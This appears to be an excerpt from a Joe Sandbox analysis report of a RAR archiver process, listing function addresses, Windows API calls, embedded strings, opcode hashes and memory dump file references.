Opcode ID: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction ID: d066054e41a05b52b90582ff78c4a2aa5c00c55fd32fa14f73dd02e8fb1c9ae1
Opcode Fuzzy Hash: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction Fuzzy Hash: 95F062229082C146DF119B71D1013E82750AB16BF8F094335EE7D4B2DBDE9A90E8D726

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE794AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6EE794AF2

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: ae1e11f1a249179eb4cea01df51bf038c6731de4e1581dd11e5a63f5a7507fff
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: 51F03033A4928240FF549A61D48137512809F647A0F4B0631FD2DC92C1FEDFE4A1C11E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE751930 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF6EE751958

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: 162ec28e31be48cd05ca75872792035eb19b0d64ab063ec618e2acd9a63a9018
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: 43F02863A08BC295FF248B20E0403B43251DB20B79F5A5330E23D850D8CFA9C8B6C356

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7638A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: 30856cc02a4eccb6c2de5f1483d34c1793fb5d5987d2faf4278b86d43feff0c2
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: B1E04F52F2930360EF58262298512BD02401FB6B84E165438EC1F86382EC5FA4B5DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE79FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF6EE79FA20

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: 7a3631d0630dc34a9407b42dd33c7a9c015795302873286ea5bef30e7f7d92a6
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: 07D0176BE1A90385FF04CB80E8443301265AF3639AF830634E40C88150CFEF6064CA0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE754538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE754549

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: 1633531f10005b9d27d5bd6a2415a853488dcbe3bbe21812f5d609cccc3ba8d3
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: 31C02B23E0148180CF04532DD8452341110BF54735FE00330F13E451E0CF9940FF8305

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF6EE7567E0 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 441COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE7749F4: LoadStringW.USER32 ref: 00007FF6EE774A7B
Part of subcall function 00007FF6EE7749F4: LoadStringW.USER32 ref: 00007FF6EE774A94

Part of subcall function 00007FF6EE748444: fflush.LIBCMT ref: 00007FF6EE748477

Part of subcall function 00007FF6EE77B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6EE74CBED,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE77B730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE756CB0

Strings

%s%s, xrefs: 00007FF6EE756A74
%s%s, xrefs: 00007FF6EE756AED
%s%s, xrefs: 00007FF6EE756B24
RAR 1.4, xrefs: 00007FF6EE7569A0
%21ls %9ls %3d%% %-27ls %u, xrefs: 00007FF6EE756DA2
RAR 4, xrefs: 00007FF6EE756987
----------- --------- -------- ----- ---------- ----- -------- ----, xrefs: 00007FF6EE756D6A
RAR 5, xrefs: 00007FF6EE75698E
%s: %s, xrefs: 00007FF6EE756962
%21ls %18s %lu, xrefs: 00007FF6EE756FA4
EOF, xrefs: 00007FF6EE756CD1
%12ls: %ls, xrefs: 00007FF6EE756CD8
%s%s, xrefs: 00007FF6EE7569EB
%12ls: %ls, xrefs: 00007FF6EE756D01
V, xrefs: 00007FF6EE756D62
%21ls %-16ls %u, xrefs: 00007FF6EE756DCD
%21ls %9ls %3d%% %28ls %u, xrefs: 00007FF6EE756F85
%s%s, xrefs: 00007FF6EE756AB2
%s%s, xrefs: 00007FF6EE756A17
%.10ls %u, xrefs: 00007FF6EE756C9D
%s: , xrefs: 00007FF6EE75697B
%s%s, xrefs: 00007FF6EE7569C0
----------- --------- ---------- ----- ----, xrefs: 00007FF6EE756DB0

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: LoadString$Sleepfflushswprintf
String ID: %12ls: %ls$%12ls: %ls$%21ls %-16ls %u$%21ls %9ls %3d%% %-27ls %u$%s: $%s: %s$----------- --------- -------- ----- ---------- ----- -------- ----$----------- --------- ---------- ----- ----$%.10ls %u$%21ls %18s %lu$%21ls %9ls %3d%% %28ls %u$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$EOF$RAR 1.4$RAR 4$RAR 5$V
API String ID: 668332963-4283793440
Opcode ID: 1809d281e11e57368e542bccbc1a8fe66159deefba3bd9b4622a4842c6b2ef32
Instruction ID: 7b3ea63ebc94451bdd0034caec71bf7752c848abda2dc4a8c3048d7607e295ac
Opcode Fuzzy Hash: 1809d281e11e57368e542bccbc1a8fe66159deefba3bd9b4622a4842c6b2ef32
Instruction Fuzzy Hash: 7322E523A0C6C255FF20DB64E8402F967A1FF61344F460036F64D8769ADEBEE569C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77AE50 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 281libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77AEE9
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77AF01
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77AF19
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77AF75
GetFullPathNameA.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77AFB0
SetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77B23B
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77B244
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6EE732E4C), ref: 00007FF6EE77B287

Strings

MAPIResolveName, xrefs: 00007FF6EE77AEF7
SMTP:, xrefs: 00007FF6EE77B069
MAPIFreeBuffer, xrefs: 00007FF6EE77AF0F
MAPI32.DLL, xrefs: 00007FF6EE77AEC2
MAPISendMail, xrefs: 00007FF6EE77AEDF

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction ID: c89d33d4942a49d6e90acd2bf04f192086e02c8cb16f77cae39d8b2adf83ac10
Opcode Fuzzy Hash: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction Fuzzy Hash: EEC18E23A09A8285EF20DF21E8403AD37A1FB64794F460035FA4D87799EFBED565C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B57C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6EE77B593
OpenProcessToken.ADVAPI32 ref: 00007FF6EE77B5A6
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6EE77B5BE
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6EE77B5EF
ExitWindowsEx.USER32 ref: 00007FF6EE77B602
ExitWindowsEx.USER32 ref: 00007FF6EE77B637

Strings

SeShutdownPrivilege, xrefs: 00007FF6EE77B5B7

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ExitProcessTokenWindows$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3729174658-3733053543
Opcode ID: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction ID: 3641731fa419145691e72f56fd7156ece0f42a93fdd522013829378079dc66a0
Opcode Fuzzy Hash: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction Fuzzy Hash: 9521F633A1860242FF908B20E45537B7762FBA4704F525035F64E8659CDFBED469C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE74E21C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,00000001,?,00007FF6EE732014), ref: 00007FF6EE74E298
FindClose.KERNEL32(?,?,?,00000001,?,00007FF6EE732014), ref: 00007FF6EE74E2AB
CreateFileW.KERNEL32(?,?,?,00000001,?,00007FF6EE732014), ref: 00007FF6EE74E2F7

Part of subcall function 00007FF6EE74EF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6EE74EE47), ref: 00007FF6EE74EF73
Part of subcall function 00007FF6EE74EF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6EE74EE47), ref: 00007FF6EE74EF84
Part of subcall function 00007FF6EE74EF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6EE74EFA7
Part of subcall function 00007FF6EE74EF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6EE74EFCA
Part of subcall function 00007FF6EE74EF50: GetLastError.KERNEL32 ref: 00007FF6EE74EFD4
Part of subcall function 00007FF6EE74EF50: CloseHandle.KERNEL32 ref: 00007FF6EE74EFE7

DeviceIoControl.KERNEL32 ref: 00007FF6EE74E357
CloseHandle.KERNEL32(?,?,?,00000001,?,00007FF6EE732014), ref: 00007FF6EE74E362

Strings

SeBackupPrivilege, xrefs: 00007FF6EE74E27E

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction ID: 042f589ef1585c6e97f5e62f491f6d9200baa1d92f06defffd980cd8960264b0
Opcode Fuzzy Hash: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction Fuzzy Hash: 4961D633A0864186EF148B65E4443E93360FB643A4F414236FB6E9AAD4DFBDD166C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE76AF0C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 427COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6EE76AFA0

Part of subcall function 00007FF6EE77B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6EE74CBED,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE77B730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE76B185
new.LIBCMT ref: 00007FF6EE76B18F

Strings

, xrefs: 00007FF6EE76B2B6
%ls%0*u.rev, xrefs: 00007FF6EE76B170

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: 25855a95eac825c785954cce864972a9ce0fc7f6a10ff8bf9b11e07335496b94
Instruction ID: 3cc2422f2ceb533d1d678050904527681b3abda4918abc61d2886b7e32da8f73
Opcode Fuzzy Hash: 25855a95eac825c785954cce864972a9ce0fc7f6a10ff8bf9b11e07335496b94
Instruction Fuzzy Hash: 85023533A0468286EF20DF25E4443AD77A5FB99788F020035EE5D8779AEEBEE451C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7349B8 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6EE734BD8

Part of subcall function 00007FF6EE77B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6EE74CBED,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE77B730

Part of subcall function 00007FF6EE751E80: CreateFileW.KERNELBASE ref: 00007FF6EE751F4A
Part of subcall function 00007FF6EE751E80: GetLastError.KERNEL32 ref: 00007FF6EE751F59
Part of subcall function 00007FF6EE751E80: CreateFileW.KERNELBASE ref: 00007FF6EE751F99
Part of subcall function 00007FF6EE751E80: GetLastError.KERNEL32 ref: 00007FF6EE751FA2
Part of subcall function 00007FF6EE751E80: SetFileTime.KERNEL32 ref: 00007FF6EE751FF1

Strings

%12s %s, xrefs: 00007FF6EE734E58
%12s %s, xrefs: 00007FF6EE734E8E
%s, xrefs: 00007FF6EE734EAF
, xrefs: 00007FF6EE734F01

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$SleepTime
String ID: %12s %s$%12s %s$ $%s
API String ID: 2965465231-221484280
Opcode ID: da7eeb6571ed9bba8ebcc7f74e29d7294f67c9c1e8ac790699657ab93618cb17
Instruction ID: fa527eb05ebe1ab9fe5d1174fc743f593a96142be35815511dcfb5fb79443c55
Opcode Fuzzy Hash: da7eeb6571ed9bba8ebcc7f74e29d7294f67c9c1e8ac790699657ab93618cb17
